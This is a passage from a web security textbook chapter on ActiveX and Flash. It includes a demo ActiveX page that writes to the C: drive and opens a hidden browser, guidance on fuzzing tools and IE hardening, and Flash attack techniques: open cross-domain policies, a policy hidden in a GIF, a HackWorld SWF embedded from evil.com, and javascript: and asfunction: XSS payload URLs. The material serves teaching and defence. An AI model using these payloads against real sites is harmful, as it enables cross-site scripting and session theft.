<SCRIPT language="VBScript">

      Dim objFile, strBadFile, strFilePath

      strFilePath = "c:\HackingXposed20.txt"

      Set objFile = CreateObject("Scripting.FileSystemObject")

      Set strBadFile = objFile.CreateTextFile(strFilePath, True)

      strBadFile.WriteLine("Tastes Like Burning")

      strBadFile.Close

</SCRIPT>

<OBJECT ID="WebBrowser1" WIDTH=300 HEIGHT=151

      CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2">

    <PARAM NAME="Location" VALUE="www.isecpartners.com">

</OBJECT>

</BODY>

</HTML>

To show how an attacker might abuse ActiveX controls for his own advantage, let’s 
walk through ActiveX.stream. 

Make sure you install the ActiveX control on a lab machine and not on a corporate laptop or production 
server. This control will download code that could be harmful to your system.

Download ActiveX.stream from 
http://labs.isecpartners.com/HackingExposedWeb20/activex.stream.htm. Depending 
on the browser’s ActiveX security settings, discussed later in this chapter, you may 
receive a few warnings before the page will execute. We specifically chose an object that 
is not marked safe for scripting so it cannot be invoked unless the browser has enabled 
objects not marked safe. If you are using a lab machine, select Yes to execute the ActiveX 
page. ActiveX.stream will then perform a few dangerous activities on the system and 
browser, which are discussed in the following sections.

http://labs.isecpartners.com/HackingExposedWeb20/activex.stream.htm
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Executing ActiveX Scripts
The first thing ActiveX.stream will do is create a file on the user’s operating system using 
VB script with the Scripting.FileSystemObject, as shown between the <SCRIPT>
and </SCRIPT> sections in the preceding code. The VB script creates a file called 
HackingXposed20.txt in the computer’s C: drive. The file is a simple text file with the 
contents Tastes Like Burning. The file format or content is not important; rather, the fact 
that the Active X control allowed you to execute a script is the important thing. The script 
allowed you to do the following:

• Access the operating system

• Create a fi le on the fi le system

• Possibly overwrite existing fi les on the operating system

The idea of creating a simple text file may seem harmless enough, but that it can 
write a file on the C: drive, it is a dangerous thing. By simply visiting a web page, you 
allowed access to your operating system. The web page could have installed a hostile 
program (such as a virus or a keylogger), installed spyware/malware, accessed your 
cookie information, or even deleted critical operating system files, such as your boot 
loader file (boot.ini), all of which would cause sever harm to the system. 

How would a user know if the ActiveX control is malicious? Frankly, discerning this 
can be quite difficult. While the control itself might not be malicious, it might provide 
access to attackers who want to do malicious things. The object itself is like a toolbox, 
and it can be used for legitimate or nefarious acts. Furthermore, even if the ActiveX page 
was signed, a few pop-ups might disappear from this example, but it still does not allow 
the user to determine whether the steps executed by the ActiveX control are good things 
or bad things. 

Invoking ActiveX Controls
The second thing ActiveX.stream will do is invoke a new browser within the existing 
browser and browse to www.isecpartners.com. The problem here is that the ActiveX 
control allowed the attacker to do the following:

• Invoke an existing ActiveX control on the user’s machine.

• Force the user to perform activities without his or her knowledge, such as 
visiting a web site of the attacker’s choosing.

Lines 19 thru 22 of ActiveX.stream show the use of Shell.Explorer CLSID (8856F961-
340A-11D0-A96B-00C04FD705A2) to perform this action. Shell.Explorer CLSID is an 
ActiveX control that can be called to open on a new browser within the user’s existing 
browser. While visiting www.isecpartners.com is not a hostile event, an attacker could 
have the user go to a hostile web site, such as web page with reflected XSS or a web page 
with CSRF attack. These attacks would compromise the user’s session information or 

www.isecpartners.com
www.isecpartners.com
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make the user perform online actions without their knowledge. Figure 8-4 shows the 
results from ActiveX.stream.

Additionally, while the new browser is currently visible to the end user, as shown by 
the width and height fields at 300 and 151, an attacker could make the browser virtually 
invisible by changing the values to 1 and 1. This would simply show the words ActiveX
.stream on the hostile ActiveX page while the attacker forcers the user’s system to visit a 
location of the attacker’s choice, all without the user’s knowledge or permission. 
Figure 8-5 shows the hidden method, as shown by the ActiveX.stream text shown on the 
top of the page and www.isecpartners.com shown on the browser’s status bar.

Testing for ActiveX Security
Now that you understand the basics of ActiveX security controls, it is important to test 
the controls to verify their security. The following section describes how to test for the 
security flaws described in the preceding sections. The testing will also discuss both 
manual procedures and automated tools to perform the testing. 

Figure 8-4  ActiveX.stream results

www.isecpartners.com
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Automated Testing with iSEC’s SecurityQA Toolbar
The testing process for ActiveX COM objects on web applications is often cumbersome 
and complex. To ensure that ActiveX controls get the proper security attention, iSEC 
Partners’ SecurityQA Toolbar provides a feature to test ActiveX controls for security. The 
SecurityQA Toolbar is a security testing tool for web application security. It is often used 
by developers and QA testers to determine an application’s security both for a specific 
section of an application as well as the entire application itself.

The SecurityQA Toolbar provides many features to test for web application security, 
including several Web 2.0 tests such as ActiveX security. The toolbar can help ensure that 
an ActiveX control on a web application is using proper security standards, such as the 
use of signed controls, not marking controls safe for scripting, not marking controls safe 
for initialization, and ensuring SiteLock is used.

To test the security of an ActiveX control, complete the following steps:

 1. Visit www.isecpartners.com/SecurityQA Toolbar and request an evaluation 
copy of the product.

 2. After installing the toolbar, visit the web application containing the ActiveX 
control.

 3. After installing the control, select Code Handling | ActiveX Testing. See Figure 8-6.

Figure 8-5  ActiveX.stream with hidden method

www.isecpartners.com/SecurityQA
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 4. The SecurityQA Toolbar will automatically check for the proper security 
properties within the ActiveX control. Specifi cally, the SecurityQA Toolbar will 
automatically check for the following items:

• SiteLock

• Signed Controls

• Initialization Security

• Scripting Security

 5. Once the security toolbar has been completed, view the report by choosing 
Reports | Current Test Results. The SecurityQA Toolbar will then display all 
security fl aws found from the results in the browser (Figure 8-7). Notice the 
iSEC Test Value line shows the module has been marked Safe for Initialization,
which is not a good security practice.

Fuzzing ActiveX Controls
To locate problems that can allow at attacker remotely to crash or control a user’s system, 
such as a buffer overflow, via the ActiveX control, fuzzing the COM object is usually 
your best bet. Fuzzing is the process of inserting random data into the inputs of any 
application. If the application crashes or behaves strangely, the application is not 
terminating inputs appropriately and provides the attacker a good attack point. A few 
tools can be used to fuzz an ActiveX control, including axfuzz and AxMan. 

Axenum and Axfuzz
Axenum and axfuzz were written by Shane Hird. Axenum will enumerate all the ActiveX 
COM objects on the machine that are marked safe for scripting/initialization. As 
previously mentioned, ActiveX objects that are marked safe can be abused by remote 
attackers for their own advantage. After the list of safe CLSIDs is enumerated by axenum, 
which is completed by the IObjectSafety interface, axfuzz can be used to fuzz the 

Figure 8-6  SecurityQA Toolbar’s ActiveX feature
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base level of the ActiveX interface. Complete the following steps to fuzz a machine’s 
ActiveX controls using axenum and axfuzz:

 1. Download axenum and axfuzz from SourceForge at http://sourceforge
.net/project/showfi les.php?group_id=122654&package_id=133918&release_
id=307910.

 2. After unzipping the fi le, execute axenum.exe on the command line, which 
will enumerate all CLSIDs (ActiveX objects) that are marked as safe. Using 
the following fl ags will dump all CLSIDs marked as safe into safe.txt, which is 
what we are most interested in, and all CLSID in general into logclsid.txt. See 
Figure 8-8.

c:\axenum >safe.txt 2>logclsid.txt

Figure 8-7  ActiveX testing results from SecurityQA Toolbar

http://sourceforge.net/project/showfiles.php?group_id=122654&package_id=133918&release_id=307910
http://sourceforge.net/project/showfiles.php?group_id=122654&package_id=133918&release_id=307910
http://sourceforge.net/project/showfiles.php?group_id=122654&package_id=133918&release_id=307910
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 3. Once CLSIDs that are marked as safe have been enumerated, axfuzz can be 
used to fuzz the ActiveX control. Ensure that you selected CLSIDs that have 
methods and properties associated with them (items that have something listed 
after Category: Safe for Scripting/Initialising. For example, using the fi rst CLSIDs 
shown in Figure 8-8 as safe, the following command can be used to fuzz the 
control:

c:\axfuzz 1000 {1C82EAD9-508E-11D1-8DCF-00C04FB951F9}

 4. During the process, axfuzz will ask you to execute the fuzzing once it has all 
the properties and methods set. Select Yes to proceed. 

 5. After the fuzzing process is completed, axfuzz will show the results. If you see 
the words Crashed, you have identifi ed an issue in the ActiveX object where 
input is not being properly handled, leading to a remote system crash of even 
remote unauthorized control of the machine. Figure 8-9 shows an example.

Figure 8-8  Enumeration of CLSID (ActiveX objects) marked as safe for scripting/initialization
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AxMan
Popularity: 7

Simplicity: 9

Impact: 5

Risk Rating: 7

In addition to axenum/axfuzz, H.D. Moore wrote an excellent ActiveX fuzzing based 
on Shane’s tool. AxMan also enumerates CLSIDs and fuzzes ActiveX COM objects, 
identifying their susceptibility to denial of service attacks, remote root, and buffer 
overflows. AxMan does a better and more thorough job of fuzzing ActiveX controls, as 
shown by the abundance of media attention in July 2006, which was deemed the “Month 
of Brower Bugs (MoBB)” by H.D. Moore, simply by the tool’s results. Similar to our 
previous discussion about buffer overflow attacks and ActiveX controls, AxMan is able 
to automatically step through CLSID objects that have been downloaded on a user’s 
operating system. Once AxMan has enumerated all ActiveX controls on the user’s 
machine, it is able to fuzz the objects to see if and where the COM object behaves 

Figure 8-9  Crash of ActiveX object through fuzzing
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inappropriately. Based on this inappropriate or unusually behavior, which will be noted 
by the browser’s and/or operating systems’ unresponsiveness, AxMan will determine 
whether the COM object is vulnerable to a buffer overflow attack that may lead to a 
denial of service or remote code execution. 

AxMan can be used in two ways: use the tool’s online demonstration web site, or use 
a local web server to run the tool locally. Both provide the same fuzzing capacities; 
therefore, we will demonstrate the online version. Complete the following steps to fuzz 
an ActiveX COM object with AxMan’s online version:

 1. Visit the AxMan online demonstration interface at http://metasploit.com/
users/hdm/tools/axman/demo/, as shown in Figure 8-10.

 2. Before AxMan can fuzz all the CLSIDs, shown in step 3, or the single CLSID, 
shown in step 4, a post-mortem debugger should be installed. A post-mortem 
debugger will be invoked whenever a crash is detected and can be used to 
probe the crashed program for the cause of the crash. AxMan recommends 
attaching WinDbg to Internet Explorer (iexplore.exe) before the fuzzing process 
beings.

 a. Download WinDbg from www.microsoft.com/whdc/devtools/debugging/
installx86.mspx.

Figure 8-10  AxMan demonstration interface

www.microsoft.com/whdc/devtools/debugging/installx86.mspx
www.microsoft.com/whdc/devtools/debugging/installx86.mspx
http://metasploit.com/users/hdm/tools/axman/demo/
http://metasploit.com/users/hdm/tools/axman/demo/
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 b. After it is installed, two methods can be used with WinDbg. Here’s the 
fi rst method:. Choose Start | Programs |> Debugging Tools for Windows | 
Windbg. Then close all other IE browsers except for the one on which 
AxMan is loaded. Choose File | Attached to a Process. Choose File | Open. 
Select iexplore.exe (ensure this is the IE process where AxMan is loaded). 
Press F5. Now that the debugger is attached to IE, switch back to on AxMan 
on Internet Explorer.

 c. The second method is to load WinDbg from the Start menu: Choose Start | 
Run and type cmd.exe. Change directories to WinDbg “C:\Program Files\
Debugging Tools for Windows”. Type windbg –I on the command line.

 3. If you want to enumerate all the CLSIDs on the local system to fuzz, simply 
click the Start button. AxMan will then start enumerating all the CLSIDs on the 
local system. Note that this process may take a very long time. 

 4. If you have already enumerated the CLSIDs from axenum, do not click the Start 
button; instead, copy the CLSID from the safe.txt fi le (for example, {1C82EAD9-
508E-11D1-8DCF-00C04FB951F9} from Figure 8-6) and paste it into the CLSID 
fi eld. Then click Single.

 5. If the program crashed during the fuzzing process of all CLSIDs or a single 
CLSID, IE should stop and give control to WinDbg, which will print out the 
exception. At this point, AxMan has identifi ed an issue in which an ActiveX 
property and/or method is not being properly handled, potentially allowing an 
attacker to crash a user’s system or even control their machine remotely. After 
the crash on IE, switch back to WinDbg to view the exception.

Test ActiveX Controls for Buffer Overfl ows
The key to ensuring that your ActiveX controls will not be vulnerable to buffer overflow 
attacks exposed by AxMan or axfuzz is to ensure that secure programming practices are 
used. Additionally, using these tools in the QA phase of the software development life 
cycle can also help ensure buffer overflows will not appear in production environments.

PROTECTING AGAINST UNSAFE 
ACTIVEX OBJECTS WITH IE

An excellent method for ensuring that insecure ActiveX objects are not downloaded or 
executed by IE is to modify the security setting for the browser. IE has many security 
options, including specific options for ActiveX controls. The options include the following 
categories:

• ActiveX Opt-In—Allow previously unused ActiveX controls to run without 
prompting (IE 7 only)

• Allow scriptlets (IE 7 only)
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• Automatic prompting for ActiveX controls

• Binary and script behaviors

• Display video and animation on a web page that does not use external media 
player (IE 7 only)

• Download signed ActiveX controls

• Download unsigned ActiveX controls

• Initialize and script ActiveX controls not marked as safe

• Run ActiveX controls and plug-ins

• Script ActiveX controls marked safe for scripting

To ensure that the proper security controls are placed on an ActiveX object, IE security 
settings can be adjusted accordingly. For example, the Download Unsigned ActiveX 
Controls option should always be marked as Disable. Complete the following section to 
ensure adequate security is placed on IE setting for ActiveX security controls (note that 
some applications may not work well if they are using proper ActiveX security):

 1. Open Internet Explorer.

 2. Choose Tools | Internet Options.

 3. Select the Security tab, highlight the Internet web zone, and click Custom Level.

 4. Scroll down to ActiveX Controls and Plug-ins, and change the ActiveX options 
to match the following:

• ActiveX Opt-In—Allow previously unused ActiveX controls to run without 
prompting (IE7 only): Disable

• Allow Scriptlets (IE7 only): Disable

• Automatic prompting for ActiveX controls: Enable

• Binary and script behaviors: Enable

• Display video and animation on a web page that does not use external media 
player (IE7 only): Disable

• Download signed ActiveX controls: Prompt

• Download unsigned ActiveX controls: Disable

• Initialize and script ActiveX controls not marked as safe: Disable

• Run ActiveX controls and plug-ins: Prompt

• Script ActiveX controls marked safe for scripting: Prompt

IE has now implemented a base level for security for ActiveX controls. Unsigned 
controls and controls marked for scripting/initialization, among other protections, are 
now protected against. 



Chapter 8: ActiveX Security 221

IE7 offers an ActiveX Opt-In list that allows a user to have a central configuration of which controls can 
run silently, which require prompts, and which are disabled.

To help make sure the proper ActiveX security settings have been placed on IE, iSEC 
Partners created a tool to automate the process. The tool will automatically look at the 
browser’s security setting for ActiveX settings and produce a report that will show 
whether best practices are being followed. Complete the following steps to audit the IE 
ActiveX security settings:

 1. Download SecureIE.ActiveX from www.isecpartners.com/tools.html.

 2. Start the program by choosing Start | Programs | iSEC Partners | SecureIE.
ActiveX.

 3. At the command prompt, type SecureIE.ActiveX.exe.

 4. Type the name of the system you wish to check, such as Sonia.Laptop and press 
return. See Figure 8-11.

SecureIE.ActiveX will analyze the IE security settings for ActiveX. Once the analysis 
is complete, the tool will print the results to the screen and create an HTML report, as 
shown in Figure 8-12.

Figure 8-11  iSEC Partners’ Secure.ActiveX.IE analyzer tool

www.isecpartners.com/tools.html
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SUMMARY
ActiveX is a technology that has many benefits for web application developers, but with 
ultimate power comes ultimate responsibility. ActiveX controls can add, delete, modify, 
or update information outside the user’s web browser and straight into the operating 
system. While this feature was initially touted by Microsoft as a significant advantage 
over Java applets, it was shown as a significant exposure point primarily due to security 
issues. Nevertheless, while ActiveX had a very rough start, Microsoft has provided 
several security measures to use the control with a significant amount of protection. For 
example, features such as SiteLock, code signing, and not marking controls safe for 
scripting or initialization all help mitigate the security issues exposed by ActiveX controls. 
While Microsoft has done a decent job of provide security protections for ActiveX, the 
technology architecture, the way developers use them, and the way administrators are 
deploying them all create situations in which the technology is used insecurely. Several 
solutions can mitigate the ActiveX security exposures, and a simple search on a particular 
security vulnerability database will probably show that ActiveX buffer overflow exploits 
have occurred within the current month. 

The key thing to remember when using ActiveX is to use all its security options. If 
your organization wants to deploy ActiveX controls for any reason, the majority of the 
security features provide by Microsoft and covered in this chapter should be mandated 
by the organization.

Figure 8-12  Secure.ActiveX.IE’s results
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Adobe Flash can be used to attack web applications using Flash as well as web 
applications that do not use Flash. Thus, no web application is immune from 
Flash-based attacks. Flash attacks range from cross-site scripting (XSS) and cross-

site request forgery (CSRF)—even when protection is present—to unauthenticated 
intranet access and completely circumventing firewalls.

A BRIEF LOOK AT THE FLASH SECURITY MODEL
Recent versions of Flash have complicated security models that can be customized to the 
developer’s preference. We describe some important aspects of Flash’s security model 
introduced in Flash Player version 8. However, we first briefly describe some additional 
features that Flash has over JavaScript.

Flash’s scripting language is called ActionScript. ActionScript is similar to JavaScript 
and includes some interesting classes from an attacker’s perspective:

• The class Socket allows the developer to create raw TCP socket connections 
to allowed domains, for purposes such as crafting complete HTTP requests 
with spoofed headers such as Referrer. Also, Socket can be used to scan some 
network-accessible computers and ports that are not accessible externally.

• The class ExternalInterface allows the developer to run JavaScript in the 
browser from Flash, for purposes such as reading and writing document.cookie.

• The classes XML and URLLoader perform HTTP requests (with the browser 
cookies) on behalf of the user to allowed domains, for purposes such as cross-
domain requests.

By default, the Flash security model is similar to the Same Origin Policy. Namely, 
Flash can read responses only from the same domain in which the Flash application 
originated. Flash also places some security around sending HTTP requests, but you can 
usually make cross-domain GET requests via Flash’s getURL() function. Also, Flash does 
not allow Flash applications that are loaded over HTTP to read HTTPS responses.

Flash does allow cross-domain communication, if a security policy on the other 
domain permits communication with the domain where the Flash application resides. 
The security policy is an XML file usually named crossdomain.xml and usually located 
in the root directory of the other domain. The worst policy file from a security perspective 
looks something like this:

<cross-domain-policy>

    <allow-access-from domain="*" /> 

</cross-domain-policy>

This policy allows any Flash application on the entire Internet to communicate (cross-
domain) with the server hosting this crossdomain.xml file. We call this an “open” security 
policy. Open security policies allow malicious Flash applications to do the following:
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• Load pages on the vulnerable domain hosting the open security policy via the 
XML object. This allows the attacker to read confi dential data on the vulnerable 
site, including CSRF protection tokens, and possibly cookies concatenated to 
URLs (such as jsessionid).

• Perform HTTP GET and POST-based CSRF attacks via getURL() function and 
the XML object even in the presence of CSRF protection.

The policy file can have any name and be located in any directory. An arbitrary 
security policy file is loaded with the following ActionScript code:

System.security.loadPolicyFile("http://public-pages.univeristy.edu/

crossdomain.xml");

System.security.loadPolicyFile() is an ActionScript function in Flash that loads 
any URL of any MIME type and attempts to read the security policy in the HTTP 
response. If the policy file is not in the server’s root directory, then the policy applies 
only to the directory that contains the policy file, plus all its subdirectories. For instance, 
suppose the policy file was located in http://public-pages.univeristy.edu/~attacker/
crossdomain.xml. The policy would apply to requests such as http://public-pages.univ-
eristy.edu/~attacker/doEvil.html and http://public-pages.univeristy.edu/~attacker/
moreEvil/doMoreEvil.html, but not to pages such as http://public-pages.univeristy
.edu/~someStudent/familyPictures.html or http://public-pages.univeristy.edu/index
.html. However, the directory-based security should not be relied upon.

Security Policy Refl ection Attacks
Popularity: 7

Simplicity: 9

Impact: 8

Risk Rating: 8

Policy files are forgivingly parsed by Flash. If an attacker can construct an HTTP 
request that results in the server sending back a policy file, Flash will accept the policy 
file. For instance, let’s say an AJAX request to

http://www.university.edu/CourseListing?format=js&callback=

<cross-domain-policy><allow-access-from%20domain="*"/>

</cross-domain-policy>

responded with the following:

<cross-domain-policy><allow-access-from%20domain="*"/>

</cross-domain-policy>() { return {name:"English101", desc:"Read Books"}, 

{name:"Computers101", desc:"play on computers"}};

http://public-pages.univeristy.edu/~attacker/crossdomain.xml
http://public-pages.univeristy.edu/~attacker/crossdomain.xml
http://public-pages.univeristy.edu/~attacker/doEvil.html
http://public-pages.univeristy.edu/~attacker/doEvil.html
http://public-pages.univeristy.edu/~attacker/moreEvil/doMoreEvil.html
http://public-pages.univeristy.edu/~attacker/moreEvil/doMoreEvil.html
http://public-pages.univeristy.edu/index.html
http://public-pages.univeristy.edu/index.html
http://public-pages.univeristy.edu/~someStudent/familyPictures.html
http://public-pages.univeristy.edu/~someStudent/familyPictures.html
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You could then load this policy via the ActionScript:

System.security.loadPolicyFile("http://www.university.edu/CourseListing?

format=json&callback=<cross-domain-policy>"<allow-access-from%20domain=\"*\"/>

</cross-domain-policy>");

This results in the Flash application having complete cross-domain access to http://www
.university.edu/. Note that MIME type in the response does not matter. Thus, if XSS was 
prevented based on MIME type, then the reflected security policy would still work.

Security Policy Stored Attacks
Popularity: 7

Simplicity: 8

Impact: 8

Risk Rating: 8

If an attacker could upload and store an image, audio, RSS, or other file on a server 
that can later be retrieved, then he or she could place the Flash security policy in that file. 
For example, the following RSS feed is accepted as an open security policy:

<?xml version="1.0"?>

<rss version="2.0">

<channel>

  <title>

<cross-domain-policy>

  <allow-access-from domain="*" />

</cross-domain-policy>

  </title>

  <link>x</link>

  <description>x</description>

  <language>en-us</language>

  <pubDate>Tue, 10 Jun 2003 04:00:00 GMT</pubDate>

  <lastBuildDate>Tue, 10 Jun 2003 09:41:01 GMT</lastBuildDate>

  <docs>x</docs>

  <generator>x</generator>

  <item>

    <title>x</title>

    <link>x</link>

    <description>x</description>

    <pubDate>Tue, 03 Jun 2003 09:39:21 GMT</pubDate>

    <guid>x</guid>

  </item>

</channel>

</rss>

http://www.university.edu/
http://www.university.edu/
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Stefan Esser at php-hardening.net found a nice stored security policy file attack using 
GIF file comments. He created the single pixel GIF image shown here, which has an open 
Flash security policy in a GIF comment. As of Flash Player 9.0 r47, this is still accepted by 
loadPolicy():

00000000 47 49 46 38 39 61 01 01-01 01 e7 e9 20 3c 63 72  GIF89a.......<cr
00000010 6f 73 73 2d 64 6f 6d 61-69 6e 2d 70 6f 6c 69 63 oss-domain-polic
00000020 79 3e 0a 20 20 3c 61 6c-6c 6f 77 2d 61 63 63 65 y>...<allow-acce
00000030 73 73 2d 66 72 6f 6d 20-64 6f 6d 61 69 6e 3d 22 ss-from domain="
00000040 2a 22 2f 3e 20 0a 20 20-3c 2f 63 72 6f 73 73 2d *"/>....</cross-
00000050 64 6f 6d 61 69 6e 2d 70-6f 6c 69 63 79 3e 47 49 domain-policy>..

You could place an open security policy within the data (not just comments) of any 
valid image, audio, or other data file. This is easier to do so with uncompressed file 
formats, such as BMP image files. As of Flash Player v9.0 r47, the only limitations are that 
loadPolicy() requires each byte before the ending </cross-domain-policy> tag to be 
as follows:

• Be non-zero

• Have no unclosed XML tags (no stray <, 0x3c)

• Be 7-bit ASCII (bytes 0x01 to 0x7F)

FLASH HACKING TOOLS
Flash programming will come quickly to JavaScript developers as Flash’s ActionScript 
language and JavaScript share similar roots. The two main tools for hacking Flash are the 
Motion-Twin ActionScript Compiler (MTASC), and no|wrap’s Flare ActionScript 
decompiler.

MTASC compiles Flash versions 6, 7, and 8 Flash binaries (also referred to as SWFs, 
Flash movies, and Flash applications). MTASC is available at www.mtasc.org.

A simple hacker’s “Hello World,” or more appropriately, “Hack World,” in Flash 
looks like this:

class HackWorld {

  static function main(args) {

    var attackCode : String = "alert(1)";

    getURL("javascript:" + attackCode);

  }

}

Of course, a malicious user could place arbitrary JavaScript in attackCode. Similar 
to examples in Chapter 2, here we assume the attack code is simply alert(1). However, 
alert(1) just proves that you can execute arbitrary JavaScript. See Chapters 2 and 4 for 
more information on malicious JavaScript. 

www.mtasc.org
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To compile HackWorld, install MTASC, save the preceding source code as HackWorld
.as, and compile it with this:

mtasc -swf HackWorld.swf -main -header 640:480:20 -version 7 HackWorld.as

This creates an SWF version 7 binary file, HackWorld.swf.
An attacker could use this SWF for XSS by injecting the following HTML on a 

vulnerable site:

<embed src="http://evil.com/HackWorld.swf" width="640" height="480">

</embed>

Or, equivalently, this:

<object type="application/x-shockwave-flash"

  data="http://evil.com/HackWorld.swf" width="640" height="480" >

<param name="movie" value="http://evil.com/HackWorld.swf">

</object>

The JavaScript would execute in the domain of the vulnerable site. However, this is just 
a complicated XSS because an attacker probably could have directly injected JavaScript 
between script tags instead. We’ll discuss more interesting attacks shortly.

The inverse of MTASC is Flare. Flare decompiles SWFs back to reasonably readable 
ActionScript source code. Installing Flare from www.nowrap.de/flare.html and running 
it as follows,

flare HackWorld.swf

creates a HackWorld.flr file containing the following ActionScript:

movie 'HackWorld.swf' {

// flash 7, total frames: 1, frame rate: 20 fps, 640x480 px, compressed

  movieClip 20480 __Packages.HackWorld {

    #initclip

      if (!HackWorld) {

        _global.HackWorld = function () {};

        var v1 = _global.HackWorld.prototype;

        _global.HackWorld.main = function (args) {

          var v3 = 'alert(1)';

          getURL('javascript:' + v3, '_self');

        };

www.nowrap.de/flare.html
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        ASSetPropFlags(v1, null, 1);

      }

    #endinitclip

  }

  frame 1 {

    HackWorld.main(this);

  }

}

Note that Flare created readable and functionally equivalent ActionScript for 
HackWorld.swf.

Now that you are familiar with both MTASC and Flare, consider the various attacks 
that can be perform with JavaScript.

XSS AND XSF VIA FLASH APPLICATIONS
Recall from Chapter 2 that the root cause of XSS is that vulnerable servers do not validate 
user-definable input, so an attacker can inject HTML that includes malicious JavaScript. 
The HTML injection is due to a programming flaw on the server that allows attackers to 
mount XSS attacks. However, XSS can also occur through client side Flash applications. XSS 
via web applications occurs when user-definable input within the Flash application is not 
properly validated. The XSS executes on the domain that servers the Flash application.

Like server-side developers, Flash developers must validate user input in their Flash 
applications or they risk XSS via their Flash applications. Unfortunately, many Flash 
developers do not validate input; hence, there are many many XSSs in Flash applications, 
including automatically generated Flash applications. 

Finding XSS in Flash applications is arguably easier than finding XSS on web 
applications because attackers can decompile Flash applications and find security issues 
in the source code, rather than blindly testing server-side web applications.

Consider the following Flash application that takes user input:

class VulnerableMovie {

  static var app : VulnerableMovie;

  function VulnerableMovie() {

    _root.createTextField("tf",0,100,100,640,480);

    if (_root.userinput1 != null) {

      getURL(_root.userinput1);

    } 

    

    _root.tf.html = true; // default is safely false

    _root.tf.htmlText = "Hello " + _root.userinput2;
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    if (_root.userinput3 != null ) {

      _root.loadMovie(_root.userinput3);

    }

  }

  static function main(mc) {

    app = new VulnerableMovie();

  }

}

Imagine that this code came from downloading an SWF and decompiling it. This 
Flash application takes three user-definable inputs—userinput1, userinput2, and 
userinput3—via URL parameters in the source of the object tag like this:

<object type="application/x-shockwave-flash" data="http://example.com/

VulnerableMovie.swf?userinput2=dude" height="480" width="640">

<param name="movie" 

value="http://example.com/VulnerableMovie.swf?userinput2=dude">

</object>

Or via the flashvars parameter:

<object type="application/x-shockwave-flash" data="http://example.com/

VulnerableMovie.swf" height="480" width="640">

<param name="movie" value="http://example.com/VulnerableMovie.swf">

<param name="flashvars" value="userinput2=dude">

</object>

User input is accessed from many objects within the Flash application, such as the _root,
_level0, and other objects. Assume all undefined variables are definable with URL 
parameters.

This Flash application displays a hello message to userinput1. If userinput2 is 
provided, the user is sent to a URL specified in userinput2. If _root.userinput3 is 
provided, then the Flash application loads another Flash application.

An attacker can use all of these user-definable inputs to perform XSS.

XSS Based on getURL()
Popularity: 4

Simplicity: 7

Impact: 8

Risk Rating: 8

First, consider userinput1. This variable is initialized by its presence in the Flash 
input variables, but uninitialized by the Flash application. Contrary to its name, userinput1
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may have not even been intended to be user input; in this case, userinput1 is just an 
uninitialized variable. If it is initialized via a URL parameter, as in the following URL,

http://example.com/VulnerableMovie.swf?userinput1=javascript%3Aalert%281%29

then the getURL() function tells the browser to load the javascript:alert(1) URL 
that executes JavaScript on the domain where the Flash application is hosted. 

XSS via clickTAG
Popularity: 6

Simplicity: 9

Impact: 8

Risk Rating: 8

The flaw just mentioned may seem obvious, uncommon, and/or easily avoidable. 
This is far from true. Flash has a special variable called clickTAG, which is designed for 
Flash-based advertisements that help advertisers track where advertisements are 
displayed. Most ad networks require advertisements to add the clickTAG URL parameter 
and execute getURL(clickTAG) in their advertisements! A typical ad banner embed or 
object HTML tags look like this:

<embed src="http://adnetwork.com/SomeAdBanner.swf?clickTAG=http://

adnetwork.com/track?http://example.com">

Or this:

<object type="application/x-shockwave-flash"

  data=" http://adnetwork.com/SomeAdBanner.swf" width="640" height="480" >

<param name="movie" value="http://adnetwork.com/SomeAdBanner.swf">

<param name="flashvars" value=" 

clickTAG=http://adnetwork.com/track?http://example.com”>

</object>

In 2003, Scan Security Wire noted that if the clickTAG is not properly checked before 
executing getURL(clickTAG), an attacker could perform an XSS attack on the domain 
hosting the SWF (in this example, adnetwork.com) with the following URL:

http://adnetwork.com/SomeAdBanner.swf?clickTAG=javascript:alert(1) 

If you are developing Flash advertisements, ensure that clickTAG begins with http:
before executing getURL(clickTAG) like so:

if (clickTAG.substr(0,5) == "http:") {

  getURL(clickTAG);

}
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XSS via HTML TextField.htmlText and TextArea.htmlText
Popularity: 2

Simplicity: 5

Impact: 8

Risk Rating: 8

Now consider userinput2 in the VulnerableMovie code. By default, TextFields
only accept plain text, but by setting html = true, developers can place HTML in 
TextFields. Developers can always place HTML text in TextAreas. It is common practice 
for developers to use Flash’s limited HTML functionality. If the part of the text for the 
TextField originates from user input, as with the preceding example, an attacker can 
inject both HTML and arbitrary ActionScript. Injecting HTML is quite simple. For 
example, this code 

http://example.com/VulnerableMovie.swf?userinput2= %3Ca+href%3D%22javasc

ript%3Aalert%281%29%22%3Eclick+here+to+be+hacked%3C/a%3E

adds this HTML:

<a href="javascript:alert(1)">click here to be hacked</a>

If the user clicks the “click here to be hacked” link, the attacker can run malicious 
JavaScript on the domain hosting the SWF.

Furthermore, an attacker can inject HTML that will automatically execute JavaScript, 
rather than requiring a user to click a link. This is done buy using the asfunction:
protocol handler. asfunction: is a protocol handler specific to the Flash Player plug-in 
and is similar to the javascript: protocol handler because it executes an arbitrary 
ActionScript function, in this form:

asfunction:functionName, parameter1, parameter2, … 

Loading asfunction:getURL,javascript:alert(1) will execute the ActionScript 
function getURL(), which requests that the browser load a URL. The URL requested is 
javascript:alert(1), which executes JavaScript in the domain hosting the SWF.

Setting userinput1 to <img src="asfunction:getURL,javascript:alert(1)//

.jpg"> will then attempt to load an image, but the image is an ActionScript function that 
inevitably executes JavaScript on the browser. Note that Flash allows developers to load 
only JPEG, GIF, PNG, and SWF files. This is checked by the file extension. To circumvent 
this, an attacker can simulate a file extension with a //.jpg JavaScript comment.

To execute this JavaScript, a user just needs to be lured to this:

http://example.com/VulnerableMovie.swf?userinput2=pwn3d%3Cimg+src%3D%22a

sfunction%3AgetURL%2Cjavascript%3Aalert%281%29//.jpg%22%3E
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This attack was first described by Stefano Di Paola of Minded Security in 2007. 
Security researchers should pay particular attention to this modest researcher’s findings 
because Stefano continually finds amazing things.

Alternatively, an attacker may leverage the fact that Flash treats images, movies, and 
sounds identically, and inject <img src="http://evil.org/HackWorld.swf?.jpg">
where HackWorld.swf contains malicious JavaScript. This loads HackWorld.swf in the 
domain of the vulnerable SWF, resulting in the same compromise as the asfunction:
based injection.

XSS via loadMovie() and Other URL Loading Functions
Popularity: 3

Simplicity: 7

Impact: 8

Risk Rating: 8

Consider userinput3 in the VulnerableMovie code. If userinput3 is specified, 
thenVulnerableMovie calls loadMovie(_root.userinput3); and an attacker could 
load any movie or URL of his or her choosing. For example, loading the URL asfunction:
getURL,javascript:alert(1)// would cause an XSS. The full attack URL is this: 

http://example.com/VulnerableMovie.swf?userinput3=asfunction%3AgetURL%2C

